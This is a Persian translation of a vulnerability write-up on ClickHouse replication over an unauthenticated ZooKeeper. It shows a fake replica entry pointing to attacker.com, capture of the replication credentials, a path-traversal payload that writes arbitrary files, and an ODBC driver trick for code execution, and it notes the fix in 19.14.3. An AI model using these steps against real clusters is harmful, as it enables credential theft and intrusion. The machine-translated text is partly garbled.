این مقاله داستان یک آسیب پذیری بسیار خاص در پروتکل تکرار ClickHouse را بیان می کند و همچنین نشان می دهد که چگونه می توان سطح حمله را گسترش داد.
ClickHouse یک پایگاه داده برای ذخیره حجم زیاد داده است که اغلب از بیش از یک نسخه استفاده می کند. خوشه بندی و تکرار در ClickHouse در بالا ساخته شده است
نصب پیشفرض ZK نیازی به احراز هویت ندارد، بنابراین هزاران سرور ZK که برای پیکربندی Kafka، Hadoop، ClickHouse استفاده میشوند، در دسترس عموم هستند.
برای کاهش سطح حمله خود، همیشه باید هنگام نصب ZooKeeper احراز هویت و مجوز را پیکربندی کنید.
البته برخی از 0day deserialization های جاوا وجود دارد، اما تصور کنید که یک مهاجم بتواند برای ZooKeeper بخواند و بنویسد، که برای تکرار ClickHouse استفاده می شود.
هنگامی که در حالت خوشه پیکربندی می شود، ClickHouse از پرس و جوهای توزیع شده پشتیبانی می کند /clickhouse/task_queue/ddl
.
به عنوان مثال، شما یک گره ایجاد می کنید /clickhouse/task_queue/ddl/query-0001
با مطالب:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
و پس از آن جدول تست در سرورهای خوشه ای host1 و host2 حذف می شود. DDL همچنین از اجرای پرس و جوهای CREATE/ALTER/DROP پشتیبانی می کند.
ترسناک به نظر می رسد؟ اما یک مهاجم از کجا می تواند آدرس سرور را دریافت کند؟
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
گره ها ایجاد خواهند شد ستون ها и فراداده.
محتوا /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
آیا امکان ادغام داده ها از این خوشه وجود دارد؟ بله، اگر پورت تکرار (TCP/9009
) روی سرور chXX-address
فایروال بسته نمی شود و احراز هویت برای تکرار پیکربندی نمی شود. چگونه از احراز هویت عبور کنیم؟
یک مهاجم می تواند یک ماکت جدید در ZK به سادگی با کپی کردن محتویات از آن ایجاد کند /clickhouse/tables/01-01/foobar/replicas/chXX
و تغییر معنی host
.
محتوا /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
سپس باید به دیگر ماکتها بگویید که یک بلوک جدید از دادهها در سرور مهاجم وجود دارد که باید آن را بگیرند - یک گره در ZK ایجاد میشود. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX شمارنده یکنواخت در حال رشد، که باید از آخرین عدد در گزارش رویداد بزرگتر باشد):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
جایی که منبع_مثل - نام ماکت مهاجم ایجاد شده در مرحله قبل، block_id - شناسه بلوک داده، دریافت کنید - دستور "get block" (و
در مرحله بعد، هر ماکت یک رویداد جدید را در گزارش می خواند و به سروری می رود که توسط مهاجم کنترل می شود تا بلوکی از داده ها را دریافت کند (پروتکل تکرار باینری است و در بالای HTTP اجرا می شود). سرور attacker.com
درخواست ها را دریافت خواهد کرد:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
که در آن XXX داده های احراز هویت برای تکرار است. در برخی موارد، این ممکن است یک حساب کاربری با دسترسی به پایگاه داده از طریق پروتکل اصلی ClickHouse و پروتکل HTTP باشد. همانطور که مشاهده کردید، سطح حمله بسیار بزرگ می شود زیرا ZooKeeper، که برای تکرار استفاده می شود، بدون احراز هویت پیکربندی شده است.
بیایید به عملکرد گرفتن یک بلوک داده از یک ماکت نگاه کنیم، با اطمینان کامل نوشته شده است که همه ماکت ها تحت کنترل مناسب هستند و بین آنها اعتماد وجود دارد.
کد پردازش تکرار
این تابع لیستی از فایل ها، سپس نام، اندازه، محتویات آنها را می خواند و سپس آنها را در سیستم فایل می نویسد. ارزش دارد که به طور جداگانه نحوه ذخیره داده ها در سیستم فایل را توضیح دهیم.
چندین زیر شاخه در آن وجود دارد /var/lib/clickhouse
(دایرکتوری ذخیره سازی پیش فرض از فایل پیکربندی):
پرچم ها - دایرکتوری برای ضبط
TMP - دایرکتوری برای ذخیره فایل های موقت؛
user_files - عملیات با فایل های موجود در درخواست ها به این دایرکتوری محدود می شود (INTO OUTFILE و دیگران).
فراداده - فایل های sql با توضیحات جدول.
preprocessed_configs - فایل های پیکربندی مشتق پردازش شده از /etc/clickhouse-server
;
داده ها - دایرکتوری واقعی با خود داده، در این مورد برای هر پایگاه داده یک زیر شاخه جداگانه به سادگی در اینجا ایجاد می شود (به عنوان مثال /var/lib/clickhouse/data/default
).
برای هر جدول، یک زیر شاخه در فهرست پایگاه داده ایجاد می شود. هر ستون بسته به یک فایل جداگانه است
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replica انتظار دارد هنگام پردازش یک بلوک از داده ها، فایل هایی با نام های مشابه دریافت کند و به هیچ وجه آنها را تأیید نمی کند.
خواننده توجه احتمالا قبلاً در مورد الحاق ناامن file_name در یک تابع شنیده است WriteBufferFromFile
. بله، این به مهاجم اجازه میدهد تا محتوای دلخواه را در هر فایلی در FS با حقوق کاربر بنویسد clickhouse
. برای انجام این کار، نسخهای که توسط مهاجم کنترل میشود باید پاسخ زیر را به درخواست بازگرداند (برگهای خط برای سهولت درک اضافه شده است):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
و بعد از الحاق ../../../../../../../../../tmp/pwned
فایل نوشته خواهد شد /tmp/pwned با محتوا hellofromzookeeper.
چندین گزینه برای تبدیل قابلیت نوشتن فایل به اجرای کد از راه دور (RCE) وجود دارد.
لغت نامه های خارجی در RCE
در نسخه های قدیمی تر، دایرکتوری با تنظیمات ClickHouse با حقوق کاربر ذخیره می شد خانه کلیک پیش فرض فایلهای تنظیمات فایلهای XML هستند که سرویس هنگام راهاندازی میخواند و سپس در حافظه پنهان ذخیره میکند /var/lib/clickhouse/preprocessed_configs
. هنگامی که تغییرات رخ می دهد، آنها دوباره خوانده می شوند. اگر دسترسی دارید /etc/clickhouse-server
یک مهاجم می تواند خود را ایجاد کند root
.
ODBC به RCE
هنگام نصب یک بسته، یک کاربر ایجاد می شود clickhouse
، اما فهرست اصلی آن ایجاد نشده است /nonexistent
. با این حال، هنگام استفاده از دیکشنری های خارجی، یا به دلایل دیگر، مدیران یک دایرکتوری ایجاد می کنند /nonexistent
و به کاربر بدهید clickhouse
دسترسی به نوشتن به آن (SSZB! تقریبا مترجم).
ClickHouse پشتیبانی می کند odbc-bridge
، بنابراین دیگر نمی توان مسیر درایور را از درخواست مشخص کرد. اما آیا مهاجم می تواند با استفاده از آسیب پذیری که در بالا توضیح داده شد، در فهرست اصلی بنویسد؟
بیایید یک فایل ایجاد کنیم ~/.odbc.ini
با مطالبی مانند این:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
سپس در راه اندازی SELECT * FROM odbc('DSN=lalala', 'test', 'test');
کتابخانه بارگذاری خواهد شد test.so
و RCE دریافت کرد (با تشکر
این آسیبپذیریها و سایر آسیبپذیریها در ClickHouse نسخه 19.14.3 برطرف شدهاند. مراقب ClickHouse و ZooKeepers خود باشید!
منبع: www.habr.com